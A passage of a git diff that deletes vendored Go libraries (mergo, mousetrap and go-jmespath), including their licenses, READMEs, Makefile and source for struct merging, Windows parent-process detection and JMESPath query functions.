a/vendor/github.com/imdario/mergo/mergo.go +++ /dev/null @@ -1,97 +0,0 @@ -// Copyright 2013 Dario CastaÃąÃŠ. All rights reserved. -// Copyright 2009 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Based on src/pkg/reflect/deepequal.go from official -// golang's stdlib. - -package mergo - -import ( - "errors" - "reflect" -) - -// Errors reported by Mergo when it finds invalid arguments. -var ( - ErrNilArguments = errors.New("src and dst must not be nil") - ErrDifferentArgumentsTypes = errors.New("src and dst must be of same type") - ErrNotSupported = errors.New("only structs and maps are supported") - ErrExpectedMapAsDestination = errors.New("dst was expected to be a map") - ErrExpectedStructAsDestination = errors.New("dst was expected to be a struct") -) - -// During deepMerge, must keep track of checks that are -// in progress. The comparison algorithm assumes that all -// checks in progress are true when it reencounters them. -// Visited are stored in a map indexed by 17 * a1 + a2; -type visit struct { - ptr uintptr - typ reflect.Type - next *visit -} - -// From src/pkg/encoding/json/encode.go. -func isEmptyValue(v reflect.Value) bool { - switch v.Kind() { - case reflect.Array, reflect.Map, reflect.Slice, reflect.String: - return v.Len() == 0 - case reflect.Bool: - return !v.Bool() - case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: - return v.Int() == 0 - case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr: - return v.Uint() == 0 - case reflect.Float32, reflect.Float64: - return v.Float() == 0 - case reflect.Interface, reflect.Ptr: - if v.IsNil() { - return true - } - return isEmptyValue(v.Elem()) - case reflect.Func: - return v.IsNil() - case reflect.Invalid: - return true - } - return false -} - -func resolveValues(dst, src interface{}) (vDst, vSrc reflect.Value, err error) { - if dst == nil || src == nil { - err = ErrNilArguments - return - } - vDst = reflect.ValueOf(dst).Elem() - if vDst.Kind() != reflect.Struct && vDst.Kind() != reflect.Map { - err = ErrNotSupported - return - } - vSrc = reflect.ValueOf(src) - // We check if vSrc is a pointer to dereference it. - if vSrc.Kind() == reflect.Ptr { - vSrc = vSrc.Elem() - } - return -} - -// Traverses recursively both values, assigning src's fields values to dst. -// The map argument tracks comparisons that have already been seen, which allows -// short circuiting on recursive types. -func deeper(dst, src reflect.Value, visited map[uintptr]*visit, depth int) (err error) { - if dst.CanAddr() { - addr := dst.UnsafeAddr() - h := 17 * addr - seen := visited[h] - typ := dst.Type() - for p := seen; p != nil; p = p.next { - if p.ptr == addr && p.typ == typ { - return nil - } - } - // Remember, remember... - visited[h] = &visit{addr, typ, seen} - } - return // TODO refactor -} diff --git a/vendor/github.com/inconshreveable/mousetrap/LICENSE b/vendor/github.com/inconshreveable/mousetrap/LICENSE deleted file mode 100644 index 5f0d1fb6a7..0000000000 --- a/vendor/github.com/inconshreveable/mousetrap/LICENSE +++ /dev/null @@ -1,13 +0,0 @@ -Copyright 2014 Alan Shreve - -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. diff --git a/vendor/github.com/inconshreveable/mousetrap/README.md b/vendor/github.com/inconshreveable/mousetrap/README.md deleted file mode 100644 index 7a950d1774..0000000000 --- a/vendor/github.com/inconshreveable/mousetrap/README.md +++ /dev/null @@ -1,23 +0,0 @@ -# mousetrap - -mousetrap is a tiny library that answers a single question. - -On a Windows machine, was the process invoked by someone double clicking on -the executable file while browsing in explorer? - -### Motivation - -Windows developers unfamiliar with command line tools will often "double-click" -the executable for a tool. Because most CLI tools print the help and then exit -when invoked without arguments, this is often very frustrating for those users. - -mousetrap provides a way to detect these invocations so that you can provide -more helpful behavior and instructions on how to run the CLI tool. To see what -this looks like, both from an organizational and a technical perspective, see -https://inconshreveable.com/09-09-2014/sweat-the-small-stuff/ - -### The interface - -The library exposes a single interface: - - func StartedByExplorer() (bool) diff --git a/vendor/github.com/inconshreveable/mousetrap/trap_others.go b/vendor/github.com/inconshreveable/mousetrap/trap_others.go deleted file mode 100644 index 9d2d8a4bab..0000000000 --- a/vendor/github.com/inconshreveable/mousetrap/trap_others.go +++ /dev/null @@ -1,15 +0,0 @@ -// +build !windows - -package mousetrap - -// StartedByExplorer returns true if the program was invoked by the user -// double-clicking on the executable from explorer.exe -// -// It is conservative and returns false if any of the internal calls fail. -// It does not guarantee that the program was run from a terminal. It only can tell you -// whether it was launched from explorer.exe -// -// On non-Windows platforms, it always returns false. -func StartedByExplorer() bool { - return false -} diff --git a/vendor/github.com/inconshreveable/mousetrap/trap_windows.go b/vendor/github.com/inconshreveable/mousetrap/trap_windows.go deleted file mode 100644 index 336142a5e3..0000000000 --- a/vendor/github.com/inconshreveable/mousetrap/trap_windows.go +++ /dev/null @@ -1,98 +0,0 @@ -// +build windows -// +build !go1.4 - -package mousetrap - -import ( - "fmt" - "os" - "syscall" - "unsafe" -) - -const ( - // defined by the Win32 API - th32cs_snapprocess uintptr = 0x2 -) - -var ( - kernel = syscall.MustLoadDLL("kernel32.dll") - CreateToolhelp32Snapshot = kernel.MustFindProc("CreateToolhelp32Snapshot") - Process32First = kernel.MustFindProc("Process32FirstW") - Process32Next = kernel.MustFindProc("Process32NextW") -) - -// ProcessEntry32 structure defined by the Win32 API -type processEntry32 struct { - dwSize uint32 - cntUsage uint32 - th32ProcessID uint32 - th32DefaultHeapID int - th32ModuleID uint32 - cntThreads uint32 - th32ParentProcessID uint32 - pcPriClassBase int32 - dwFlags uint32 - szExeFile [syscall.MAX_PATH]uint16 -} - -func getProcessEntry(pid int) (pe *processEntry32, err error) { - snapshot, _, e1 := CreateToolhelp32Snapshot.Call(th32cs_snapprocess, uintptr(0)) - if snapshot == uintptr(syscall.InvalidHandle) { - err = fmt.Errorf("CreateToolhelp32Snapshot: %v", e1) - return - } - defer syscall.CloseHandle(syscall.Handle(snapshot)) - - var processEntry processEntry32 - processEntry.dwSize = uint32(unsafe.Sizeof(processEntry)) - ok, _, e1 := Process32First.Call(snapshot, uintptr(unsafe.Pointer(&processEntry))) - if ok == 0 { - err = fmt.Errorf("Process32First: %v", e1) - return - } - - for { - if processEntry.th32ProcessID == uint32(pid) { - pe = &processEntry - return - } - - ok, _, e1 = Process32Next.Call(snapshot, uintptr(unsafe.Pointer(&processEntry))) - if ok == 0 { - err = fmt.Errorf("Process32Next: %v", e1) - return - } - } -} - -func getppid() (pid int, err error) { - pe, err := getProcessEntry(os.Getpid()) - if err != nil { - return - } - - pid = int(pe.th32ParentProcessID) - return -} - -// StartedByExplorer returns true if the program was invoked by the user double-clicking -// on the executable from explorer.exe -// -// It is conservative and returns false if any of the internal calls fail. -// It does not guarantee that the program was run from a terminal. It only can tell you -// whether it was launched from explorer.exe -func StartedByExplorer() bool { - ppid, err := getppid() - if err != nil { - return false - } - - pe, err := getProcessEntry(ppid) - if err != nil { - return false - } - - name := syscall.UTF16ToString(pe.szExeFile[:]) - return name == "explorer.exe" -} diff --git a/vendor/github.com/inconshreveable/mousetrap/trap_windows_1.4.go b/vendor/github.com/inconshreveable/mousetrap/trap_windows_1.4.go deleted file mode 100644 index 9a28e57c3c..0000000000 --- a/vendor/github.com/inconshreveable/mousetrap/trap_windows_1.4.go +++ /dev/null @@ -1,46 +0,0 @@ -// +build windows -// +build go1.4 - -package mousetrap - -import ( - "os" - "syscall" - "unsafe" -) - -func getProcessEntry(pid int) (*syscall.ProcessEntry32, error) { - snapshot, err := syscall.CreateToolhelp32Snapshot(syscall.TH32CS_SNAPPROCESS, 0) - if err != nil { - return nil, err - } - defer syscall.CloseHandle(snapshot) - var procEntry syscall.ProcessEntry32 - procEntry.Size = uint32(unsafe.Sizeof(procEntry)) - if err = syscall.Process32First(snapshot, &procEntry); err != nil { - return nil, err - } - for { - if procEntry.ProcessID == uint32(pid) { - return &procEntry, nil - } - err = syscall.Process32Next(snapshot, &procEntry) - if err != nil { - return nil, err - } - } -} - -// StartedByExplorer returns true if the program was invoked by the user double-clicking -// on the executable from explorer.exe -// -// It is conservative and returns false if any of the internal calls fail. -// It does not guarantee that the program was run from a terminal. It only can tell you -// whether it was launched from explorer.exe -func StartedByExplorer() bool { - pe, err := getProcessEntry(os.Getppid()) - if err != nil { - return false - } - return "explorer.exe" == syscall.UTF16ToString(pe.ExeFile[:]) -} diff --git a/vendor/github.com/jmespath/go-jmespath/.gitignore b/vendor/github.com/jmespath/go-jmespath/.gitignore deleted file mode 100644 index 5091fb0736..0000000000 --- a/vendor/github.com/jmespath/go-jmespath/.gitignore +++ /dev/null @@ -1,4 +0,0 @@ -/jpgo -jmespath-fuzz.zip -cpu.out -go-jmespath.test diff --git a/vendor/github.com/jmespath/go-jmespath/.travis.yml b/vendor/github.com/jmespath/go-jmespath/.travis.yml deleted file mode 100644 index 1f98077570..0000000000 --- a/vendor/github.com/jmespath/go-jmespath/.travis.yml +++ /dev/null @@ -1,9 +0,0 @@ -language: go - -sudo: false - -go: - - 1.4 - -install: go get -v -t ./... -script: make test diff --git a/vendor/github.com/jmespath/go-jmespath/LICENSE b/vendor/github.com/jmespath/go-jmespath/LICENSE deleted file mode 100644 index b03310a91f..0000000000 --- a/vendor/github.com/jmespath/go-jmespath/LICENSE +++ /dev/null @@ -1,13 +0,0 @@ -Copyright 2015 James Saryerwinnie - -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. diff --git a/vendor/github.com/jmespath/go-jmespath/Makefile b/vendor/github.com/jmespath/go-jmespath/Makefile deleted file mode 100644 index a828d2848f..0000000000 --- a/vendor/github.com/jmespath/go-jmespath/Makefile +++ /dev/null @@ -1,44 +0,0 @@ - -CMD = jpgo - -help: - @echo "Please use \`make ' where is one of" - @echo " test to run all the tests" - @echo " build to build the library and jp executable" - @echo " generate to run codegen" - - -generate: - go generate ./... - -build: - rm -f $(CMD) - go build ./... - rm -f cmd/$(CMD)/$(CMD) && cd cmd/$(CMD)/ && go build ./... - mv cmd/$(CMD)/$(CMD) . - -test: - go test -v ./... - -check: - go vet ./... - @echo "golint ./..." - @lint=`golint ./...`; \ - lint=`echo "$$lint" | grep -v "astnodetype_string.go" | grep -v "toktype_string.go"`; \ - echo "$$lint"; \ - if [ "$$lint" != "" ]; then exit 1; fi - -htmlc: - go test -coverprofile="/tmp/jpcov" && go tool cover -html="/tmp/jpcov" && unlink /tmp/jpcov - -buildfuzz: - go-fuzz-build github.com/jmespath/go-jmespath/fuzz - -fuzz: buildfuzz - go-fuzz -bin=./jmespath-fuzz.zip -workdir=fuzz/testdata - -bench: - go test -bench . -cpuprofile cpu.out - -pprof-cpu: - go tool pprof ./go-jmespath.test ./cpu.out diff --git a/vendor/github.com/jmespath/go-jmespath/README.md b/vendor/github.com/jmespath/go-jmespath/README.md deleted file mode 100644 index 187ef676dc..0000000000 --- a/vendor/github.com/jmespath/go-jmespath/README.md +++ /dev/null @@ -1,7 +0,0 @@ -# go-jmespath - A JMESPath implementation in Go - -[![Build Status](https://img.shields.io/travis/jmespath/go-jmespath.svg)](https://travis-ci.org/jmespath/go-jmespath) - - - -See http://jmespath.org for more info. diff --git a/vendor/github.com/jmespath/go-jmespath/api.go b/vendor/github.com/jmespath/go-jmespath/api.go deleted file mode 100644 index 8e26ffeecf..0000000000 --- a/vendor/github.com/jmespath/go-jmespath/api.go +++ /dev/null @@ -1,49 +0,0 @@ -package jmespath - -import "strconv" - -// JMESPath is the epresentation of a compiled JMES path query. A JMESPath is -// safe for concurrent use by multiple goroutines. -type JMESPath struct { - ast ASTNode - intr *treeInterpreter -} - -// Compile parses a JMESPath expression and returns, if successful, a JMESPath -// object that can be used to match against data. -func Compile(expression string) (*JMESPath, error) { - parser := NewParser() - ast, err := parser.Parse(expression) - if err != nil { - return nil, err - } - jmespath := &JMESPath{ast: ast, intr: newInterpreter()} - return jmespath, nil -} - -// MustCompile is like Compile but panics if the expression cannot be parsed. -// It simplifies safe initialization of global variables holding compiled -// JMESPaths. -func MustCompile(expression string) *JMESPath { - jmespath, err := Compile(expression) - if err != nil { - panic(`jmespath: Compile(` + strconv.Quote(expression) + `): ` + err.Error()) - } - return jmespath -} - -// Search evaluates a JMESPath expression against input data and returns the result. -func (jp *JMESPath) Search(data interface{}) (interface{}, error) { - return jp.intr.Execute(jp.ast, data) -} - -// Search evaluates a JMESPath expression against input data and returns the result. -func Search(expression string, data interface{}) (interface{}, error) { - intr := newInterpreter() - parser := NewParser() - ast, err := parser.Parse(expression) - if err != nil { - return nil, err - } - return intr.Execute(ast, data) -} diff --git a/vendor/github.com/jmespath/go-jmespath/astnodetype_string.go b/vendor/github.com/jmespath/go-jmespath/astnodetype_string.go deleted file mode 100644 index 1cd2d239c9..0000000000 --- a/vendor/github.com/jmespath/go-jmespath/astnodetype_string.go +++ /dev/null @@ -1,16 +0,0 @@ -// generated by stringer -type astNodeType; DO NOT EDIT - -package jmespath - -import "fmt" - -const _astNodeType_name = "ASTEmptyASTComparatorASTCurrentNodeASTExpRefASTFunctionExpressionASTFieldASTFilterProjectionASTFlattenASTIdentityASTIndexASTIndexExpressionASTKeyValPairASTLiteralASTMultiSelectHashASTMultiSelectListASTOrExpressionASTAndExpressionASTNotExpressionASTPipeASTProjectionASTSubexpressionASTSliceASTValueProjection" - -var _astNodeType_index = [...]uint16{0, 8, 21, 35, 44, 65, 73, 92, 102, 113, 121, 139, 152, 162, 180, 198, 213, 229, 245, 252, 265, 281, 289, 307} - -func (i astNodeType) String() string { - if i < 0 || i >= astNodeType(len(_astNodeType_index)-1) { - return fmt.Sprintf("astNodeType(%d)", i) - } - return _astNodeType_name[_astNodeType_index[i]:_astNodeType_index[i+1]] -} diff --git a/vendor/github.com/jmespath/go-jmespath/functions.go b/vendor/github.com/jmespath/go-jmespath/functions.go deleted file mode 100644 index 9b7cd89b4b..0000000000 --- a/vendor/github.com/jmespath/go-jmespath/functions.go +++ /dev/null @@ -1,842 +0,0 @@ -package jmespath - -import ( - "encoding/json" - "errors" - "fmt" - "math" - "reflect" - "sort" - "strconv" - "strings" - "unicode/utf8" -) - -type jpFunction func(arguments []interface{}) (interface{}, error) - -type jpType string - -const ( - jpUnknown jpType = "unknown" - jpNumber jpType = "number" - jpString jpType = "string" - jpArray jpType = "array" - jpObject jpType = "object" - jpArrayNumber jpType = "array[number]" - jpArrayString jpType = "array[string]" - jpExpref jpType = "expref" - jpAny jpType = "any" -) - -type functionEntry struct { - name string - arguments []argSpec - handler jpFunction - hasExpRef bool -} - -type argSpec struct { - types []jpType - variadic bool -} - -type byExprString struct { - intr *treeInterpreter - node ASTNode - items []interface{} - hasError bool -} - -func (a *byExprString) Len() int { - return len(a.items) -} -func (a *byExprString) Swap(i, j int) { - a.items[i], a.items[j] = a.items[j], a.items[i] -} -func (a *byExprString) Less(i, j int) bool { - first, err := a.intr.Execute(a.node, a.items[i]) - if err != nil { - a.hasError = true - // Return a dummy value. - return true - } - ith, ok := first.(string) - if !ok { - a.hasError = true - return true - } - second, err := a.intr.Execute(a.node, a.items[j]) - if err != nil { - a.hasError = true - // Return a dummy value. - return true - } - jth, ok := second.(string) - if !ok { - a.hasError = true - return true - } - return ith < jth -} - -type byExprFloat struct { - intr *treeInterpreter - node ASTNode - items []interface{} - hasError bool -} - -func (a *byExprFloat) Len() int { - return len(a.items) -} -func (a *byExprFloat) Swap(i, j int) { - a.items[i], a.items[j] = a.items[j], a.items[i] -} -func (a *byExprFloat) Less(i, j int) bool { - first, err := a.intr.Execute(a.node, a.items[i]) - if err != nil { - a.hasError = true - // Return a dummy value. - return true - } - ith, ok := first.(float64) - if !ok { - a.hasError = true - return true - } - second, err := a.intr.Execute(a.node, a.items[j]) - if err != nil { - a.hasError = true - // Return a dummy value. - return true - } - jth, ok := second.(float64) - if !ok { - a.hasError = true - return true - } - return ith < jth -} - -type functionCaller struct { - functionTable map[string]functionEntry -} - -func newFunctionCaller() *functionCaller { - caller := &functionCaller{} - caller.functionTable = map[string]functionEntry{ - "length": { - name: "length", - arguments: []argSpec{ - {types: []jpType{jpString, jpArray, jpObject}}, - }, - handler: jpfLength, - }, - "starts_with": { - name: "starts_with", - arguments: []argSpec{ - {types: []jpType{jpString}}, - {types: []jpType{jpString}}, - }, - handler: jpfStartsWith, - }, - "abs": { - name: "abs", - arguments: []argSpec{ - {types: []jpType{jpNumber}}, - }, - handler: jpfAbs, - }, - "avg": { - name: "avg", - arguments: []argSpec{ - {types: []jpType{jpArrayNumber}}, - }, - handler: jpfAvg, - }, - "ceil": { - name: "ceil", - arguments: []argSpec{ - {types: []jpType{jpNumber}}, - }, - handler: jpfCeil, - }, - "contains": { - name: "contains", - arguments: []argSpec{ - {types: []jpType{jpArray, jpString}}, - {types: []jpType{jpAny}}, - }, - handler: jpfContains, - }, - "ends_with": { - name: "ends_with", - arguments: []argSpec{ - {types: []jpType{jpString}}, - {types: []jpType{jpString}}, - }, - handler: jpfEndsWith, - }, - "floor": { - name: "floor", - arguments: []argSpec{ - {types: []jpType{jpNumber}}, - }, - handler: jpfFloor, - }, - "map": { - name: "amp", - arguments: []argSpec{ - {types: []jpType{jpExpref}}, - {types: []jpType{jpArray}}, - }, - handler: jpfMap, - hasExpRef: true, - }, - "max": { - name: "max", - arguments: []argSpec{ - {types: []jpType{jpArrayNumber, jpArrayString}}, - }, - handler: jpfMax, - }, - "merge": { - name: "merge", - arguments: []argSpec{ - {types: []jpType{jpObject}, variadic: true}, - }, - handler: jpfMerge, - }, - "max_by": { - name: "max_by", - arguments: []argSpec{ - {types: []jpType{jpArray}}, - {types: []jpType{jpExpref}}, - }, - handler: jpfMaxBy, - hasExpRef: true, - }, - "sum": { - name: "sum", - arguments: []argSpec{ - {types: []jpType{jpArrayNumber}}, - }, - handler: jpfSum, - }, - "min": { - name: "min", - arguments: []argSpec{ - {types: []jpType{jpArrayNumber, jpArrayString}}, - }, - handler: jpfMin, - }, - "min_by": { - name: "min_by", - arguments: []argSpec{ - {types: []jpType{jpArray}}, - {types: []jpType{jpExpref}}, - }, - handler: jpfMinBy, - hasExpRef: true, - }, - "type": { - name: "type", - arguments: []argSpec{ - {types: []jpType{jpAny}}, - }, - handler: jpfType, - }, - "keys": { - name: "keys", - arguments: []argSpec{ - {types: []jpType{jpObject}}, - }, - handler: jpfKeys, - }, - "values": { - name: "values", - arguments: []argSpec{ - {types: []jpType{jpObject}}, - }, - handler: jpfValues, - }, - "sort": { - name: "sort", - arguments: []argSpec{ - {types: []jpType{jpArrayString, jpArrayNumber}}, - }, - handler: jpfSort, - }, - "sort_by": { - name: "sort_by", - arguments: []argSpec{ - {types: []jpType{jpArray}}, - {types: []jpType{jpExpref}}, - }, - handler: jpfSortBy, - hasExpRef: true, - }, - "join": { - name: "join", - arguments: []argSpec{ - {types: []jpType{jpString}}, - {types: []jpType{jpArrayString}}, - }, - handler: jpfJoin, - }, - "reverse": { - name: "reverse", - arguments: []argSpec{ - {types: []jpType{jpArray, jpString}}, - }, - handler: jpfReverse, - }, - "to_array": { - name: "to_array", - arguments: []argSpec{ - {types: []jpType{jpAny}}, - }, - handler: jpfToArray, - }, - "to_string": { - name: "to_string", - arguments: []argSpec{ - {types: []jpType{jpAny}}, - }, - handler: jpfToString, - }, - "to_number": { - name: "to_number", - arguments: []argSpec{ - {types: []jpType{jpAny}}, - }, - handler: jpfToNumber, - }, - "not_null": { - name: "not_null", - arguments: []argSpec{ - {types: []jpType{jpAny}, variadic: true}, - }, - handler: jpfNotNull, - }, - } - return caller -} - -func (e *functionEntry) resolveArgs(arguments []interface{}) ([]interface{}, error) { - if len(e.arguments) == 0 { - return arguments, nil - } - if !e.arguments[len(e.arguments)-1].variadic { - if len(e.arguments) != len(arguments) { - return nil, errors.New("incorrect number of args") - } - for i, spec := range e.arguments { - userArg := arguments[i] - err := spec.typeCheck(userArg) - if err != nil { - return nil, err - } - } - return arguments, nil - } - if len(arguments) < len(e.arguments) { - return nil, errors.New("Invalid arity.") - } - return arguments, nil -} - -func (a *argSpec) typeCheck(arg interface{}) error { - for _, t := range a.types { - switch t { - case jpNumber: - if _, ok := arg.(float64); ok { - return nil - } - case jpString: - if _, ok := arg.(string); ok { - return nil - } - case jpArray: - if isSliceType(arg) { - return nil - } - case jpObject: - if _, ok := arg.(map[string]interface{}); ok { - return nil - } - case jpArrayNumber: - if _, ok := toArrayNum(arg); ok { - return nil - } - case jpArrayString: - if _, ok := toArrayStr(arg); ok { - return nil - } - case jpAny: - return nil - case jpExpref: - if _, ok := arg.(expRef); ok { - return nil - } - } - } - return fmt.Errorf("Invalid type for: %v, expected: %#v", arg, a.types) -} - -func (f *functionCaller) CallFunction(name string, arguments []interface{}, intr *treeInterpreter) (interface{}, error) { - entry, ok := f.functionTable[name] - if !ok { - return nil, errors.New("unknown function: " + name) - } - resolvedArgs, err := entry.resolveArgs(arguments) - if err != nil { - return nil, err - } - if entry.hasExpRef { - var extra []interface{} - extra = append(extra, intr) - resolvedArgs = append(extra, resolvedArgs...) - } - return entry.handler(resolvedArgs) -} - -func jpfAbs(arguments []interface{}) (interface{}, error) { - num := arguments[0].(float64) - return math.Abs(num), nil -} - -func jpfLength(arguments []interface{}) (interface{}, error) { - arg := arguments[0] - if c, ok := arg.(string); ok { - return float64(utf8.RuneCountInString(c)), nil - } else if isSliceType(arg) { - v := reflect.ValueOf(arg) - return float64(v.Len()), nil - } else if c, ok := arg.(map[string]interface{}); ok { - return float64(len(c)), nil - } - return nil, errors.New("could not compute length()") -} - -func jpfStartsWith(arguments []interface{}) (interface{}, error) { - search := arguments[0].(string) - prefix := arguments[1].(string) - return strings.HasPrefix(search, prefix), nil -} - -func jpfAvg(arguments []interface{}) (interface{}, error) { - // We've already type checked the value so we can safely use - // type assertions. - args := arguments[0].([]interface{}) - length := float64(len(args)) - numerator := 0.0 - for _, n := range args { - numerator += n.(float64) - } - return numerator / length, nil -} -func jpfCeil(arguments []interface{}) (interface{}, error) { - val := arguments[0].(float64) - return math.Ceil(val), nil -} -func jpfContains(arguments []interface{}) (interface{}, error) { - search := arguments[0] - el := arguments[1] - if searchStr, ok := search.(string); ok { - if elStr, ok := el.(string); ok { - return strings.Index(searchStr, elStr) != -1, nil - } - return false, nil - } - // Otherwise this is a generic contains for []interface{} - general := search.([]interface{}) - for _, item := range general { - if item == el { - return true, nil - } - } - return false, nil -} -func jpfEndsWith(arguments []interface{}) (interface{}, error) { - search := arguments[0].(string) - suffix := arguments[1].(string) - return strings.HasSuffix(search, suffix), nil -} -func jpfFloor(arguments []interface{}) (interface{}, error) { - val := arguments[0].(float64) - return math.Floor(val), nil -} -func jpfMap(arguments []interface{}) (interface{}, error) { - intr := arguments[0].(*treeInterpreter) - exp := arguments[1].(expRef) - node := exp.ref - arr := arguments[2].([]interface{}) - mapped := make([]interface{}, 0, len(arr)) - for _, value := range arr { - current, err := intr.Execute(node, value) - if err != nil { - return nil, err - } - mapped = append(mapped, current) - } - return mapped, nil -} -func jpfMax(arguments []interface{}) (interface{}, error) { - if items, ok := toArrayNum(arguments[0]); ok { - if len(items) == 0 { - return nil, nil - } - if len(items) == 1 { - return items[0], nil - } - best := items[0] - for _, item := range items[1:] { - if item > best { - best = item - } - } - return best, nil - } - // Otherwise we're dealing with a max() of strings. - items, _ := toArrayStr(arguments[0]) - if len(items) == 0 { - return nil, nil - } - if len(items) == 1 { - return items[0], nil - } - best := items[0] - for _, item := range items[1:] { - if item > best { - best = item - } - } - return best, nil -} -func jpfMerge(arguments []interface{}) (interface{}, error) { - final := make(map[string]interface{}) - for _, m := range arguments { - mapped := m.(map[string]interface{}) - for key, value := range mapped { - final[key] = value - } - } - return final, nil -} -func jpfMaxBy(arguments []interface{}) (interface{}, error) { - intr := arguments[0].(*treeInterpreter) - arr := arguments[1].([]interface{}) - exp := arguments[2].(expRef) - node := exp.ref - if len(arr) == 0 { - return nil, nil - } else if len(arr) == 1 { - return arr[0], nil - } - start, err := intr.Execute(node, arr[0]) - if err != nil { - return nil, err - } - switch t := start.(type) { - case float64: - bestVal := t - bestItem := arr[0] - for _, item := range arr[1:] { - result, err := intr.Execute(node, item) - if err != nil { - return nil, err - } - current, ok := result.(float64) - if !ok { - return nil, errors.New("invalid type, must be number") - } - if current > bestVal { - bestVal = current - bestItem = item - } - } - return bestItem, nil - case string: - bestVal := t - bestItem := arr[0] - for _, item := range arr[1:] { - result, err := intr.Execute(node, item) - if err != nil { - return nil, err - } - current, ok := result.(string) - if !ok { - return nil, errors.New("invalid type, must be string") - } - if current > bestVal { - bestVal = current - bestItem = item - } - } - return bestItem, nil - default: - return nil, errors.New("invalid type, must be number of string") - } -} -func jpfSum(arguments []interface{}) (interface{}, error) { - items, _ := toArrayNum(arguments[0]) - sum := 0.0 - for _, item := range items { - sum += item - } - return sum, nil -} - -func jpfMin(arguments []interface{}) (interface{}, error) { - if items, ok := toArrayNum(arguments[0]); ok { - if len(items) == 0 { - return nil, nil - } - if len(items) == 1 { - return items[0], nil - } - best := items[0] - for _, item := range items[1:] { - if item < best { - best = item - } - } - return best, nil - } - items, _ := toArrayStr(arguments[0]) - if len(items) == 0 { - return nil, nil - } - if len(items) == 1 { - return items[0], nil - } - best := items[0] - for _, item := range items[1:] { - if item < best { - best = item - } - } - return best, nil -} - -func jpfMinBy(arguments []interface{}) (interface{}, error) { - intr := arguments[0].(*treeInterpreter) - arr := arguments[1].([]interface{}) - exp := arguments[2].(expRef) - node := exp.ref - if len(arr) == 0 { - return nil, nil - } else if len(arr) == 1 { - return arr[0], nil - } - start, err := intr.Execute(node, arr[0]) - if err != nil { - return nil, err - } - if t, ok := start.(float64); ok { - bestVal := t - bestItem := arr[0] - for _, item := range arr[1:] { - result, err := intr.Execute(node, item) - if err != nil { - return nil, err - } - current, ok := result.(float64) - if !ok { - return nil, errors.New("invalid type, must be number") - } - if current < bestVal { - bestVal = current - bestItem = item - } - } - return bestItem, nil - } else if t, ok := start.(string); ok { - bestVal := t - bestItem := arr[0] - for _, item := range arr[1:] { - result, err := intr.Execute(node, item) - if err != nil { - return nil, err - } - current, ok := result.(string) - if !ok { - return nil, errors.New("invalid type, must be string") - } - if current < bestVal { - bestVal = current - bestItem = item - } - } - return bestItem, nil - } else { - return nil, errors.New("invalid type, must be number of string") - } -} -func jpfType(arguments []interface{}) (interface{}, error) { - arg := arguments[0] - if _, ok := arg.(float64); ok { - return "number", nil - } - if _, ok := arg.(string); ok { - return "string", nil - } - if _, ok := arg.([]interface{}); ok { - return "array", nil - } - if _, ok := arg.(map[string]interface{}); ok { - return "object", nil - } - if arg == nil { - return "null", nil - } - if arg == true || arg == false { - return "boolean", nil - } - return nil, errors.New("unknown type") -} -func jpfKeys(arguments []interface{}) (interface{}, error) { - arg := arguments[0].(map[string]interface{}) - collected := make([]interface{}, 0, len(arg)) - for key := range arg { - collected = append(collected, key) - } - return collected, nil -} -func jpfValues(arguments []interface{}) (interface{}, error) { - arg := arguments[0].(map[string]interface{}) - collected := make([]interface{}, 0, len(arg)) - for _, value := range arg { - collected = append(collected, value) - } - return collected, nil -} -func jpfSort(arguments []interface{}) (interface{}, error) { - if items, ok := toArrayNum(arguments[0]); ok { - d := sort.Float64Slice(items) - sort.Stable(d) - final := make([]interface{}, len(d)) - for i, val := range d { - final[i] = val - } - return final, nil - } - // Otherwise we're dealing with sort()'ing strings. - items, _ := toArrayStr(arguments[0]) - d := sort.StringSlice(items) - sort.Stable(d) - final := make([]interface{}, len(d)) - for i, val := range d { - final[i] = val - } - return final, nil -} -func jpfSortBy(arguments []interface{}) (interface{}, error) { - intr := arguments[0].(*treeInterpreter) - arr := arguments[1].([]interface{}) - exp := arguments[2].(expRef) - node := exp.ref - if len(arr) == 0 { - return arr, nil - } else if len(arr) == 1 { - return arr, nil - } - start, err := intr.Execute(node, arr[0]) - if err != nil { - return nil, err - } - if _, ok := start.(float64); ok { - sortable := &byExprFloat{intr, node, arr, false} - sort.Stable(sortable) - if sortable.hasError { - return nil, errors.New("error in sort_by comparison") - } - return arr, nil - } else if _, ok := start.(string); ok { - sortable := &byExprString{intr, node, arr, false} - sort.Stable(sortable) - if sortable.hasError { - return nil, errors.New("error in sort_by comparison") - } - return arr, nil - } else { - return nil, errors.New("invalid type, must be number of string") - } -} -func jpfJoin(arguments []interface{}) (interface{}, error) { - sep := arguments[0].(string) - // We can't just do arguments[1].([]string), we have to - // manually convert each item to a string. - arrayStr := []string{} - for _, item := range arguments[1].([]interface{}) { - arrayStr = append(arrayStr, item.(string)) - } - return strings.Join(arrayStr, sep), nil -} -func jpfReverse(arguments []interface{}) (interface{}, error) { - if s, ok := arguments[0].(string); ok { - r := []rune(s) - for i, j := 0, len(r)-1; i < len(r)/2; i, j = i+1, j-1 { - r[i], r[j] = r[j], r[i] - } - return string(r), nil - } - items := arguments[0].([]interface{}) - length := len(items) - reversed := make([]interface{}, length) - for i, item := range items { - reversed[length-(i+1)] = item - } - return reversed, nil -} -func jpfToArray(arguments []interface{}) (interface{}, error) { - if _, ok := arguments[0].([]interface{}); ok { - return arguments[0], nil - } - return arguments[:1:1], nil -} -func jpfToString(arguments []interface{}) (interface{}, error) { - if v, ok := arguments[0].(string); ok { - return v, nil - } - result, err := json.Marshal(arguments[0]) - if err != nil { - return nil, err - } - return string(result), nil -} -func jpfToNumber(arguments []interface{}) (interface{}, error) { - arg := arguments[0] - 